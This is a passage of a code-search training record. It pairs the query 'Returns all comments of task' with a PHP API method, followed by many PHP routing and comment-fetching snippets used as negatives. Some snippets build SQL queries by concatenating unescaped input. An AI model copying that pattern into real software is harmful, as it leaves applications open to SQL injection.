preg_match($regex,$requestUrl,$params) === 1;\n }\n if ( $match ) {\n if ( $params ) {\n foreach ($params as $key => $value) {\n if ( TypeCheck::isInt($key) ) {\n unset($params[$key]);\n }\n }\n }\n return [\n 'target' => $target,\n 'params' => $params,\n 'name' => $name,\n 'permissions' => $permissions\n ];\n }\n }\n return false;\n }", "function is_get_request()\n{\n return $_SERVER['REQUEST_METHOD'] === 'GET';\n}", "public function isRequest(): bool\n {\n return $this->form->getMethod() == $this->request->getMethod();\n }", "public function canHandleRequest() {}", "public function canHandleRequest() {}", "public function canHandleRequest() {}", "public function canHandleRequest() {}", "function ifItIsMethod($method=null) {\n\n\t// making all the input UPPERCASE\n\t//if its post, if its get...\n\tif($_SERVER['REQUEST_METHOD'] == strtoupper($method)) {\n\t\treturn true;\n\t}\n\n\treturn false;\n}", "public function match($requestUrl = null, $requestMethod = null)\n {\n\n $params = [];\n\n // set Request Url if it isn't passed as parameter\n if ($requestUrl === null) {\n $requestUrl = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';\n }\n\n // strip base path from request url\n $requestUrl = substr($requestUrl, strlen($this->basePath));\n\n // Strip query string (?a=b) from Request Url\n if (($strpos = strpos($requestUrl, '?')) !== false) {\n $requestUrl = substr($requestUrl, 0, $strpos);\n }\n\n $lastRequestUrlChar = $requestUrl[strlen($requestUrl) - 1];\n\n // set Request Method if it isn't passed as a parameter\n if ($requestMethod === null) {\n $requestMethod = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'GET';\n }\n\n foreach ($this->routes as $handler) {\n list($methods, $route, $target, $name) = $handler;\n\n $method_match = (stripos($methods, $requestMethod) !== false);\n\n if ($route === '*') {\n // * wildcard (matches all)\n $match = true;\n } elseif (isset($route[0]) && $route[0] === '@') {\n // @ regex delimiter\n $pattern = '`' . substr($route, 1) . '`u';\n $match = preg_match($pattern, $requestUrl, $params) === 1;\n } elseif (($position = strpos($route, '[')) === false) {\n // No params in url, do string comparison\n $match = strcmp($requestUrl, $route) === 0;\n } else {\n // Compare longest non-param string with url before moving on to regex\n // Check if last character before param is a slash, because it could be optional if param is optional too (see https://github.com/dannyvankooten/AltoRouter/issues/241)\n if (strncmp($requestUrl, $route, $position) !== 0 && ($lastRequestUrlChar === '/' || $route[$position - 1] !== '/')) {\n continue;\n }\n\n $regex = $this->compileRoute($route);\n $match = preg_match($regex, $requestUrl, $params) === 1;\n }\n\n if ($match) {\n if ($params) {\n foreach ($params as $key => $value) {\n if (is_numeric($key)) {\n unset($params[$key]);\n }\n }\n }\n\n // Method did not match, continue to next route.\n if (!$method_match) {\n $this->methodError = true;\n continue;\n } else {\n $this->methodError = false;\n }\n\n return [\n 'target' => $target,\n 'params' => $params,\n 'name' => $name\n ];\n }\n }\n\n if ($this->methodError) {\n return self::METHOD_ERROR;\n } else {\n return self::NO_MATCH;\n }\n }", "public function isRequest();", "function request_is_get() {\n\treturn $_SERVER['REQUEST_METHOD'] === 'GET';\n}", "public function canHandleRequest();", "public function canHandleRequest();", "public function method( $is = null ) {\n\t\t$method = isset( $_SERVER['REQUEST_METHOD'] ) ? $_SERVER['REQUEST_METHOD'] : 'GET';\n\t\tif ( null !== $is ) {\n\t\t\treturn strcasecmp( $method, $is ) === 0;\n\t\t}\n\n\t\treturn $method;\n\t}", "public function hasHttpMethod()\n {\n return $this->http_method !== null;\n }", "public function methodIsMatching($requestMethod)\n {\n return $this->requestMethod === $requestMethod;\n }", "#[Pure]\nfunction http_request_method_exists($method) {}", "public function match(Request $request)\n {\n if ($this->method) {\n if ($request->getMethod() != $this->method) {\n return false;\n }\n }\n if ($this->hostname && $request->hasHeader('host')) {\n if ($request->getHeader('hostname') != $this->host) {\n return false;\n }\n }\n\n // Ejecutamos la función de validación\n $function = [$this, 'match' . $this->type];\n\n $url = $request->getRequestTarget();\n $result = $function($url);\n\n if ($result) {\n // Encontramos un match. Añadimos los args del request\n $result['args'] = array_merge($this->args, \n $result['args']);\n\n return $result;\n }\n\n\n // Not valid\n return false;\n }", "private function requestMethod() \n {\n // Take the method as found in $_SERVER\n $method = $_SERVER['REQUEST_METHOD'];\n\n if ($_SERVER['REQUEST_METHOD'] == 'HEAD') {\n ob_start();\n $method = 'GET';\n } // If it's a POST request, check for a method override header\n elseif ($_SERVER['REQUEST_METHOD'] == 'POST') {\n $headers = $this->requestHeaders();\n if (isset($headers['X-HTTP-Method-Override']) && in_array($headers['X-HTTP-Method-Override'], array('PUT', 'DELETE', 'PATCH'))) {\n $method = $headers['X-HTTP-Method-Override'];\n }\n }\n return $method;\n }", "function canHandleRequest() ;", "public function supports(Request $request)\n {\n \treturn self::LOGIN_ROUTE === $request->attributes->get('_route')\n\t\t\t&& $request->isMethod('POST');\n }", "public function matches(Request $request)\n {\n return $this->isPreflightRequest($request);\n }", "public function isActive (Request $request)\n {\n //debug ($this->method);\n //debug($request->getMethod());\n //debug ($this->getPattern(), $this->path);\n if ($this->method!==null && $this->method!=$request->getMethod())\n {\n return false;\n }\n\n if (\n ($request->getPath()==='/' && $this->path==='/') ||\n preg_match($this->getPattern(), $request->getPath())===1\n )\n {\n //Maybe filter compiration must be before regex match?\n //If it will be cost effective\n if (is_array($this->filters) && count($this->filters))\n {\n foreach ($this->filters as $name => $options)\n {\n $filter = Route::getFilter($name);\n if (!$filter($this, $request, $options))\n {\n return false;\n }\n }\n }\n return true;\n }\n return false;\n }", "function requestIsGet()\n{\n return $_SERVER['REQUEST_METHOD'] == 'GET';\n}", "function request_isget(){\n return $_SERVER['REQUEST_METHOD'] == 'GET';\n}", "public function request_method() {\n\t\tif ( isset( $_SERVER['REQUEST_METHOD'] ) ) {\n\t\t\treturn $_SERVER['REQUEST_METHOD'];\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "public function supports(Request $request): bool\n {\n return $request->getPathInfo() === $this->router->generate(self::LOGIN) && $request->isMethod('POST');\n }", "function checkRequest($req){\n\t//Variables that should be defined for checkRequest. Ideally this would be defined in a abstact/general form.\n\t$methods_supported = array(\"GET\", \"POST\", \"HEAD\", \"DELETE\", \"PUT\");\n\t$request_vars = array(\"start\", \"count\", );\n\n\tif (array_search($req->getMethod(), $methods_supported ) === FALSE){\n\t\tRestUtils::sendResponse(405, array('allow' => $methods_supported));\n\t}\n\tif($req->getMethod() == \"GET\") {\n\t\t//check the request variables that are not understood by this resource\n\t\t$dif = array_diff(array_keys($req->getRequestVars()), $request_vars);\n\t\t//If they are differences then we do not understand the request.\n\t\tif ( count($dif) != 0 ){\n\t\t\tRestUtils::sendResponse(400, array('unrecognized_req_vars' => $dif));\n\t\t\texit;\n\t\t}\n\t}\n\t//TODO - check that path parameters are correct through regulares expressions that validate input types and formats.\n\t//could respond BadRequest also.\n}", "public static function requestMethod($method = null) {\n return isset($method) ? ($_SERVER['REQUEST_METHOD'] === $method) : ($_SERVER['REQUEST_METHOD']);\n }", "private static function verifyRequest()\n {\n if(isset($_SERVER['HTTP_USER_AGENT']) == false)\n {\n InvalidUserAgentResponse::executeResponse();\n exit();\n }\n\n if(strlen($_SERVER['HTTP_USER_AGENT']) == 0)\n {\n InvalidUserAgentResponse::executeResponse();\n exit();\n }\n\n if(strlen($_SERVER['HTTP_USER_AGENT']) > 624)\n {\n InvalidUserAgentResponse::executeResponse();\n exit();\n }\n\n $UnsupportedRequestMethod = true;\n\n if(strtoupper($_SERVER['REQUEST_METHOD']) == 'GET')\n {\n $UnsupportedRequestMethod = false;\n }\n\n if(strtoupper($_SERVER['REQUEST_METHOD']) == 'POST')\n {\n $UnsupportedRequestMethod = false;\n }\n\n if($UnsupportedRequestMethod)\n {\n UnsupportedVersion::executeResponse();\n exit();\n }\n }", "public function method( $is = null ) \n\t{\n\t\tif ( !is_null( $is ) )\n\t\t{\n\t\t\treturn strtoupper( $is ) === $this->method();\n\t\t}\n\t\t\n\t\treturn strtoupper( $this->server( 'HTTP_X_HTTP_METHOD_OVERRIDE', $this->server( 'REQUEST_METHOD', 'GET' ) ) );\n\t}", "public function requestMethod($method = '') {\n\t\tif(isset($_SERVER['REQUEST_METHOD'])) {\n\t\t\t$m = strtoupper($_SERVER['REQUEST_METHOD']);\n\t\t\t$requestMethod = isset($this->requestMethods[$m]) ? $this->requestMethods[$m] : '';\n\t\t} else {\n\t\t\t$requestMethod = '';\n\t\t}\n\t\tif($method) return strtoupper($method) === $requestMethod;\n\t\treturn $requestMethod; \n\t}", "function match_and_exec($method, $path)\n {\n $possible_routes = $this->routes[$method];\n foreach($possible_routes as $route)\n {\n $result = $route->match($path);\n if (is_array($result) == false)\n {\n continue;\n }\n return $route->call($result);\n }\n return false;\n }", "public function getIsGetRequest()\n\t{\n\t\treturn ($this->getRequestType() == 'GET');\n\t}", "public function match(ServerRequestInterface $request, Route $route): bool\n {\n $uri = $request->getUri()->getPath();\n $path = $this->generatePath($route);\n\n if (!preg_match(\"#^$path$#i\", $uri, $matches)) {\n return false;\n }\n\n array_shift($matches);\n $route->setParameters($matches);\n\n return true;\n }", "public function Matches (\\MvcCore\\IRequest $request);", "public function matches(Route $route, Request $request);", "public function match(Zend_Controller_Request_Http $request)\r\n {\r\n \tif (Mage::app()->getStore()->isAdmin()) {\r\n return false;\r\n }\r\n \r\n \t$pathInfo = $request->getPathInfo();\r\n // remove suffix if any\r\n $suffix = Mage::helper('amlanding/url')->getSuffix();\r\n if ($suffix && '/' != $suffix){\r\n $pathInfo = str_replace($suffix, '', $pathInfo);\r\n }\r\n \r\n $pathInfo = explode('/', trim($pathInfo, '/ '), 2);\r\n $identifier = $pathInfo[0];\r\n $params = (isset($pathInfo[1]) ? $pathInfo[1] : '');\r\n \r\n \r\n\t\t/* @var $page Amasty_Xlanding_Model_Page */\r\n $page = Mage::getModel('amlanding/page');\r\n $pageId = $page->checkIdentifier($identifier, Mage::app()->getStore()->getId());\r\n if (!$pageId) {\r\n return false;\r\n }\r\n \r\n\r\n $params = trim($params, '/ ');\r\n if ($params){\r\n $params = explode('/', $params);\r\n Mage::register('amshopby_current_params', $params);\r\n if ('true' == (string)Mage::getConfig()->getNode('modules/Amasty_Shopby/active')){\r\n $parsed = Mage::helper('amshopby/url')->saveParams($request);\r\n if (!$parsed && !Mage::registry('amshopby_short_parsed')) {\r\n return false;\r\n }\r\n }\r\n }\r\n\r\n $request->setModuleName('amlanding')\r\n ->setControllerName('page')\r\n ->setActionName('view')\r\n ->setParam('page_id', $pageId)\r\n ->setParam('am_landing', $identifier)\r\n ;\r\n \r\n return true;\r\n }", "public function supports(Request $request)\n {\n return $this->parameters['route']['login'] === $request->attributes->get('_route')\n && $request->isMethod('POST');\n }", "function is_post_request() {\n return (request_method() == 'post');\n}", "private static function _verifyMethod()\n {\n if (static::Method() == 'OPTIONS') {\n Response::Error('unsupported method.');\n }\n }", "public function test_match_withUnsupportedMethod()\n {\n $route = new Route('GET', '/home', 'test');\n $this->assertFalse(\n $route->match('POST', '/home'),\n 'match() must return false method provided is not supported by the route.'\n );\n }", "public static function isGet(){\n return self::isRequestMethod('GET');\n }", "public function isGet() {\n return $this->method == 'GET';\n }", "public function findMatch(\\string $uri, \\string $method);", "public function match(): bool\n {\n $uri = $_SERVER['REQUEST_URI'];\n $parse = parse_url($uri);\n $url = trim($parse['path'] ?? '', '/');\n foreach ($this->routes as $route => $params) {\n if (preg_match($route, $url, $matches)) {\n $this->params = $params;\n return true;\n }\n }\n return false;\n }", "public function hasRequest(string $name): bool {}", "public function isPreflightRequest(Request $request);", "public function testHttpMethodBasedRouting() {\n\t\tRouter::connect('/{:controller}/{:id:[0-9]+}', [\n\t\t\t'http:method' => 'GET', 'action' => 'view'\n\t\t]);\n\t\tRouter::connect('/{:controller}/{:id:[0-9]+}', [\n\t\t\t'http:method' => 'PUT', 'action' => 'edit'\n\t\t]);\n\n\t\t$request = new Request(['url' => '/posts/13', 'env' => [\n\t\t\t'REQUEST_METHOD' => 'GET'\n\t\t]]);\n\t\t$params = Router::process($request)->params;\n\t\t$expected = ['controller' => 'Posts', 'action' => 'view', 'id' => '13'];\n\t\t$this->assertEqual($expected, $params);\n\n\t\t$this->assertIdentical('/posts/13', Router::match($params));\n\n\t\t$request = new Request(['url' => '/posts/13', 'env' => [\n\t\t\t'REQUEST_METHOD' => 'PUT'\n\t\t]]);\n\t\t$params = Router::process($request)->params;\n\t\t$expected = ['controller' => 'Posts', 'action' => 'edit', 'id' => '13'];\n\t\t$this->assertEqual($expected, $params);\n\n\t\t$request = new Request(['url' => '/posts/13', 'env' => [\n\t\t\t'REQUEST_METHOD' => 'POST'\n\t\t]]);\n\t\t$params = Router::process($request)->params;\n\t\t$this->assertEmpty($params);\n\t}", "public function testHttpRequestMethodStrictComparison()\n {\n $get = HttpRequestMethod::GET();\n $post = HttpRequestMethod::POST();\n\n $this->assertTrue($get === HttpRequestMethod::GET());\n $this->assertTrue($post === HttpRequestMethod::POST());\n $this->assertFalse($get === HttpRequestMethod::POST());\n $this->assertFalse($post === HttpRequestMethod::GET());\n $this->assertFalse($get === $post);\n }", "public function checkingRoute()\n {\n\n global $route;\n $request = new Request;\n $requested_url = $request->server('QUERY_STRING');\n //!TEST\n // echo $requested_url;\n // echo '<br />';\n $requested_method = $request->server('REQUEST_METHOD');\n //! TEST\n // echo $requested_method;\n /* \n // $server_all = $request->serverAll();\n // echo '<pre>';\n // print_r($server_all);\n // echo '</pre>' ;\n // $route_object = new Route;\n */\n $all_routes = $route->getRoutingTable();\n\n // NOTE\n /*\n ! ezzay ana shayf Class Web and Route min 3'eer use key word \n ? routes/web.php & Core/Route.php\n */\n //!TEST\n // echo '<pre>';\n // print_r($all_routes);\n // echo '</pre>';\n\n foreach ($all_routes as $url => $info) {\n\n /* !//? to test $url returns\n echo '<pre>';\n print_r($url);\n echo '</pre>' ;\n */\n // // if ($requested_url == $url){\n if (preg_match($url,$requested_url , $matches )){\n if( $requested_method == strtolower($info['method'])) {\n $this->controller = $info['controller'];\n $this->action = $info['action'];\n $this->params = array_slice($matches , 1);\n return true ;\n }else{\n die(\"405 method does not exist\");\n }\n /* //!deprecated if statement (wrong else statement)\n // if ($requested_url != $single_route) {\n // die('404 url not found');\n // }\n // elseif ($requested_method != $info['method']) {\n // die('405 method not allowed');\n // }\n // else {\n // $this->controller = $info['controller'];\n // $this->method = $info['method'];\n // }\n */\n }\n // echo $this->controller;\n // echo '<br />';\n // echo $this->action ;\n // echo '<br />';\n }\n die(\"404 not found\");\n }", "private function _needsAuthentication() {\n\t\tif(isset(Environment::$api->noAuthRoutes) && is_array(Environment::$api->noAuthRoutes) && is_array($this->request->params)) {\n\t\t\t$requestRoute = implode('/', $this->request->params);\n\t\t\tforeach (Environment::$api->noAuthRoutes as $key => $route) {\n\t\t\t\tif($route===$requestRoute) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(Environment::$api->noAuth) { \n\t\t\treturn false;\n\t\t}\n\t\tif($this->method==='OPTIONS') {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}", "static function is_api($request){\n if(strpos($request->url(), url('api').'/')!==false){\n return true;\n }\n\n return false;\n\n }", "public function supports(Request $request): bool\n {\n return self::LOGIN_ROUTE === $request->attributes->get('_route')\n && $request->isMethod('POST');\n }", "private function detectRequest()\n {\n // Get URL\n $url = isset($_GET) && array_key_exists('url', $_GET) ? $_GET['url'] : '';\n $url = trim($url, '/');\n\n // Apply routes\n $url = $this->applyRoutes($url, $this->routes);\n\n // Split URL\n $params = explode('/', $url);\n if(empty($params[0])) {\n $params = array();\n }\n\n\n // Save parameters\n $this->params = $params;\n }", "public function isMethodGet(): bool\n {\n return $this->isMethod(self::HTTP_GET);\n }", "public function supports(Request $request)\n {\n return $request->getPathInfo() === \"/api/login\" && $request->getMethod() === \"POST\";\n }", "public function isGet() {\n return strtoupper($this->requestMethod) == \"GET\";\n }", "public static function request($path_info) {\n $result = \"\";\n // iterate through all the routes (the routes added first have the highest priority)\n $routes = self::getRoutes();\n foreach($routes as $route) {\n // check if one of the route matches\n if(($back = $route->request($path_info)) !== false) {\n // if yes return the result\n $result = $back;\n break;\n }\n }\n return $result;\n }", "public function is($method) {\n\t\treturn empty($method) ? false : $this->requestMethod($method);\n\t}", "public function isGet() : bool {\n return 'GET' === $_SERVER['REQUEST_METHOD'];\n }", "public function matchesRequest()\n {\n return $this->event->has('queryText') && $this->payload->has('originalDetectIntentRequest');\n }", "public static function isRequest() {\n\t return http_response_code()!==FALSE;\n\t}", "private static function getMethodRequest(){\n return $_SERVER[\"REQUEST_METHOD\"];\n }", "public function hasRequest(): bool;", "public function hasRequest(): bool;", "public function isset(string $path, string $method = null): bool;", "public function supports(Request $request)\n {\n return 'app_user_idvault' === $request->attributes->get('_route')\n && $request->isMethod('GET') && $request->query->get('code');\n }", "private function processRequestMethod($method) {\n if(in_array(strtoupper($method),$this->supportedRequestMethods)) {\n $this->requestMethod=strtoupper($method);\n } elseif (strtoupper($method)==\"GET\") {\n $this->exceptionWithResponseCode(405,\n \"\\\"GET\\\" is not currently a supported request method. \" .\n \"Try the other API: https://wiki.egi.eu/wiki/GOCDB/PI/Technical_Documentation\"\n );\n }else {\n $this->exceptionWithResponseCode(405,\n \"\\\"\" . $method . \"\\\" is not currently a supported request method. For more details see: $this->docsURL\"\n );\n }\n }", "public function testControllerMethodCatchAllRequestMethod()\n {\n $route = new Route();\n \n $route->set(null, \"user\", null, \"Anax\\Route\\MockHandlerControllerCatchAll\");\n \n $path = \"user/whatever\";\n $this->assertTrue($route->match($path, \"POST\"));\n $res = $route->handle($path);\n $this->assertEquals(\"catchAllPost\", $res);\n\n $this->assertTrue($route->match($path, \"PUT\"));\n $res = $route->handle($path);\n $this->assertEquals(\"catchAllPut\", $res);\n }", "public function match($request) {\n $requestArr = $this->explodeRequest($request);\n /*if (count($requestArr) < $this->countPatternArr) {\n return false;\n }*/\n for ($i = 0; $i < $this->countPatternArr; $i++) {\n if ($this->isParam($this->patternArr[$i])) {\n continue;\n }\n if (0 !== strcasecmp($this->patternArr[$i], $requestArr[$i])) {\n return false;\n }\n }\n return true;\n }", "private function checkRoute()\n\t{\n\t $route = GlobalSystem::routeType();\n\t\tif(key_exists($route, RequestRoute::$routes)){\n\t\t\t$this->trigger = RequestRoute::$routes[$route][GlobalSystem::ExpRouteKeyTrigger];\n\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "private function _checkRequestType()\n\t{\n\t\tif ($this->_checkedRequestType)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\t// If there's a token in the query string, then that should take precedence over everything else\n\t\tif (!$this->getQuery(craft()->config->get('tokenParam')))\n\t\t{\n\t\t\t$firstSegment = $this->getSegment(1);\n\n\t\t\t// Is this a resource request?\n\t\t\tif ($firstSegment == craft()->config->getResourceTrigger())\n\t\t\t{\n\t\t\t\t$this->_isResourceRequest = true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// Is this an action request?\n\t\t\t\tif ($this->_isCpRequest)\n\t\t\t\t{\n\t\t\t\t\t$loginPath = craft()->config->getCpLoginPath();\n\t\t\t\t\t$logoutPath = craft()->config->getCpLogoutPath();\n\t\t\t\t\t$setPasswordPath = craft()->config->getCpSetPasswordPath();\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$loginPath = trim(craft()->config->getLocalized('loginPath'), '/');\n\t\t\t\t\t$logoutPath = trim(craft()->config->getLocalized('logoutPath'), '/');\n\t\t\t\t\t$setPasswordPath = trim(craft()->config->getLocalized('setPasswordPath'), '/');\n\t\t\t\t}\n\n\t\t\t\t$verifyEmailPath = 'verifyemail';\n\n\t\t\t\tif (\n\t\t\t\t\t($triggerMatch = ($firstSegment == craft()->config->get('actionTrigger') && count($this->_segments) > 1)) ||\n\t\t\t\t\t($actionParam = $this->getParam('action')) !== null ||\n\t\t\t\t\t($specialPath = in_array($this->_path, array($loginPath, $logoutPath, $setPasswordPath, $verifyEmailPath)))\n\t\t\t\t)\n\t\t\t\t{\n\t\t\t\t\t$this->_isActionRequest = true;\n\n\t\t\t\t\tif ($triggerMatch)\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->_actionSegments = array_slice($this->_segments, 1);\n\t\t\t\t\t}\n\t\t\t\t\telse if ($actionParam)\n\t\t\t\t\t{\n\t\t\t\t\t\t$actionParam = $this->decodePathInfo($actionParam);\n\t\t\t\t\t\t$this->_actionSegments = array_filter(explode('/', $actionParam));\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif ($this->_path == $loginPath)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->_actionSegments = array('users', 'login');\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if ($this->_path == $logoutPath)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->_actionSegments = array('users', 'logout');\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if ($this->_path == $verifyEmailPath)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->_actionSegments = array('users', 'verifyemail');\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->_actionSegments = array('users', 'setpassword');\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$this->_checkedRequestType = true;\n\t}", "public function isGet() {\n\t\tif ('GET' == $this->getMethod())\n\t\t{\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "public static function isMethod(string $method = null): bool {\r\n return isset($_SERVER['REQUEST_METHOD']) ? strtolower($_SERVER['REQUEST_METHOD']) == strtolower(trim($method)) : false;\r\n }", "public function matches(lib_routing_route $route, lib_http_request $request)\n\t{\n\t\tif ($route->httpOnly())\n\t\t{\n\t\t\treturn ! $request->secure();\n\t\t}\n\t\telseif ($route->secure())\n\t\t{\n\t\t\treturn $request->secure();\n\t\t}\n\n\t\treturn true;\n\t}", "public function getHttpMethod();", "public static function isGet()\n {\n return $_SERVER['REQUEST_METHOD'] === 'GET';\n }" ]
[ "0.7262546", "0.7065979", "0.70564157", "0.69739974", "0.69229466", "0.69097686", "0.6856342", "0.682065", "0.68073136", "0.6803465", "0.67997414", "0.67451674", "0.67438364", "0.67417705", "0.67326933", "0.6716222", "0.6706088", "0.6703082", "0.66655636", "0.66532993", "0.6568023", "0.6563525", "0.65567094", "0.6549102", "0.6536282", "0.6536282", "0.6536282", "0.6536282", "0.6530428", "0.6501105", "0.649188", "0.6490962", "0.6478962", "0.6478962", "0.6443572", "0.64406216", "0.6414471", "0.6366621", "0.6318748", "0.6312354", "0.63097465", "0.63065344", "0.6294082", "0.62829334", "0.6280713", "0.6276303", "0.6257943", "0.62263906", "0.6224671", "0.6187814", "0.6185497", "0.61701936", "0.61614877", "0.6150987", "0.6149911", "0.6148118", "0.61385244", "0.6122288", "0.6109363", "0.6109186", "0.6092242", "0.60810304", "0.60777444", "0.6061303", "0.6057797", "0.60550725", "0.6052679", "0.6031269", "0.6029721", "0.6029318", "0.60287166", "0.602413", "0.6023257", "0.6005998", "0.6001477", "0.5986909", "0.5984608", "0.5977238", "0.59721524", "0.5971985", "0.59704334", "0.59691954", "0.5968307", "0.59422493", "0.5934542", "0.59309924", "0.59309924", "0.5920392", "0.5920262", "0.59188056", "0.5906158", "0.5894572", "0.58935136", "0.58912015", "0.58896077", "0.58862704", "0.58821064", "0.58763623", "0.5871005" ]
0.6667212
19
Returns all comments of task
public function getComments($wp_id, $options = array()) { return $this->client->request('api/v3/work_packages/' . $wp_id . '/activities', 'get', $options); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getComments() {}", "public function gettaskcomments($TaskID){\n $sql=\"select * from tbl_task_comments where task_id='\".$TaskID.\"'\";\n $query=$this->db->query($sql);\n return $query->result_array();\n }", "public function getCommentByTaskId($task_id) {\n $data = Yii::app()->db->createCommand()->from('task_comment')->rightJoin('user', 'user_id=task_comment_user_id')->where('task_comment_task_id=:task_id', array(':task_id' => $task_id))\n ->order('task_comment_datetime DESC')->queryAll();\n return $data;\n }", "public function comments()\n {\n $task = $this->getTask();\n $commentSortingDirection = $this->userMetadataCacheDecorator->get(UserMetadataModel::KEY_COMMENT_SORTING_DIRECTION, 'ASC');\n\n $this->response->html($this->template->render('CommentTooltip:board/tooltip_comments', array(\n 'task' => $task,\n 'comments' => $this->commentModel->getAll($task['id'], $commentSortingDirection)\n )));\n }", "public function getComments()\n {\n return $this->tpComments;\n }", "public function get_comments()\n {\n }", "public function getComments()\n {\n return $this->api->_request('GET', '/api/comments?id='.$this->ID);\n }", "public function getAllComments(){\n $comments = $this->db->query('SELECT * FROM comments');\n return $comments;\n }", "public function testListTaskComments()\n {\n }", "public static function getAllComment() {\n\t\treturn array(self::_getDao()->count(), self::_getDao()->getAll());\n\t}", "public function getAllComment()\n {\n return Comment::find()->with('user')->orderBy(['created_date'=>SORT_DESC])->all();\n \n }", "public function getComments()\n {\n return $this->comments;\n }", "public function getComments()\n {\n return $this->comments;\n }", "public function getComments()\n {\n return $this->comments;\n }", "public function getComments()\n {\n return $this->comments;\n }", "public function getAllComments()\n {\n $req = $this->pdo->prepare('SELECT * FROM comments ORDER BY `date` DESC');\n $req->execute();\n\n return $req->fetchAll();\n }", "function get_comments(){\n\n\t}", "public function getAllComments() {\r\n \r\n $commentEntries = array();\r\n\r\n $sql = \"SELECT *\r\n FROM RecipeComments\r\n WHERE page = '$this->page'\r\n ORDER BY timestamp\"; \r\n \r\n $result = $this->conn->query($sql);\r\n \r\n $rows = $result->num_rows;\r\n \r\n for($i=1; $i<=$rows; $i++) {\r\n $row = $result->fetch_assoc();\r\n array_push($commentEntries, $row[\"username\"]);\r\n array_push($commentEntries, $row[\"comment\"]);\r\n array_push($commentEntries, $row[\"timestamp\"]);\r\n \r\n }\r\n\r\n return $commentEntries;\r\n \r\n }", "public function getComments() {\n \n return $this->comments;\n }", "public function getComments() {\n\t\treturn $this->arrComments;\n\t}", "public function getComment()\n {\n return array();\n }", "public function getComments()\n\t{\n\n\t\treturn $this->comments;\n\t}", "public function getAllComments()\n\t{\n\t\t$req=$this->_bdd->query('SELECT Comments.id, content_com AS content, DATE_FORMAT(date_com, \"%d/%m/%Y %Hh%imin%ss\") AS date, id_users, id_post, moderate, login FROM Comments INNER JOIN Users ON id_users=Users.id WHERE moderate >0 ORDER BY moderate DESC');\n\t\t\n\t\t$comments=[];\n\t\twhile($datas=$req->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\t\n\t\t\t\t $comments[]=new Comments($datas);\n\t\t\t\t //return $comments;\n\t\t\t\n\t\t\t\n\t\t}\n\t\treturn $comments;\n\t}", "public function getComments ()\n {\n $db = $this->dbConnect ();\n $req = $db->prepare ('SELECT id_comment,signalement,id_chapter,author,comment,DATE_FORMAT(dateComment, \\'%d/%m/%Y \\') AS dateComment FROM comments WHERE ? ORDER BY id_comment DESC ');\n $req->execute (array ( 1 ));\n return $req;\n }", "public function getkomentar($task)\n {\n $this->db->order_by('comment_date', 'ASC');\n $this->db->join(\"hr_employee\", \"tm_comment.employee_id = hr_employee.employee_id\");\n $this->db->join(\"hr_position\", \"tm_comment.position_id = hr_position.position_id\");\n $this->db->join(\"tm_task\", \"tm_comment.task_id = tm_task.task_id\");\n $this->db->where(\"tm_task.task_id\", $task);\n $this->db->or_where(\"tm_task.task_parent\", $task);\n return $this->db->get(\"tm_comment\")->result_array();\n }", "public function printComments($taskid) {\r\n\t\t$db = new DB();\r\n\t\t$db->connect();\r\n\t\t\r\n\t\t$taskid = $db->esc($taskid);\r\n\t\t\r\n\t\t$sql = \"SELECT * FROM comment\r\n\t\t\t\tINNER JOIN `user` ON `user`.id = comment.user_id\r\n\t\t\t\tWHERE comment.task_id = \" . $taskid;\r\n\t\t$query = $db->query($sql);\r\n\r\n\t\twhile ($oneRow = $query->fetch_assoc()) {\r\n\t\t\t//build gravatar url form mail\r\n\t\t\t$gravatar_url = \"http://www.gravatar.com/avatar/\" . md5( strtolower( trim( $oneRow[\"email\"] ) ) ) . \"?s=80&d=mm\";\r\n\t\t\t\r\n\t\t\techo '\r\n\t\t\t\t<div class=\"media\">\r\n\t\t\t\t\t<a class=\"pull-left\" href=\"#\">\r\n\t\t\t\t\t\t<img class=\"media-object img-circle\" src=\"' . $gravatar_url . '\" alt=\"person\" height=\"64\" width=\"64\">\r\n\t\t\t\t\t</a>\r\n\t\t\t\t\t<div class=\"media-body\">\r\n\t\t\t\t\t\t<h4 class=\"media-heading\">'.$oneRow[\"prename\"].' '.$oneRow[\"surname\"].'</h4>\r\n\t\t\t\t\t\t'.nl2br($oneRow[\"value\"]).'\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</div>';\r\n\t\t}\r\n\t}", "public function getAllTheComments(){\n\t\t try{\n\t\t\t $conn=DBConnection::GetConnection();\n\t\t\t $myquery=\"SELECT comment_id,comment_description,comment_date,news_id,user_name FROM comment\";\n\t\t\t $result= $conn->query($myquery);\n\t\t\t $comments=array();\n\t\t\t foreach($result as $comment){\n\t\t\t\t$c1=new Comment();\n\t\t\t\t$c1->setCommentId($comment[\"comment_id\"]);\n\t\t\t\t$c1->setCommentDescription($comment[\"comment_description\"]);\n\t\t\t\t$c1->setCommentDate($comment[\"comment_date\"]);\n\t\t\t\t$c1->setNewsId($comment[\"news_id\"]);\n\t\t\t\t$c1->setUserName($comment[\"user_name\"]);\n\t\t\t\tarray_push($comments,$c1);\t\t\t\t\n\t\t\t }\n\t\t\t$conn =null;\n\t\t\treturn 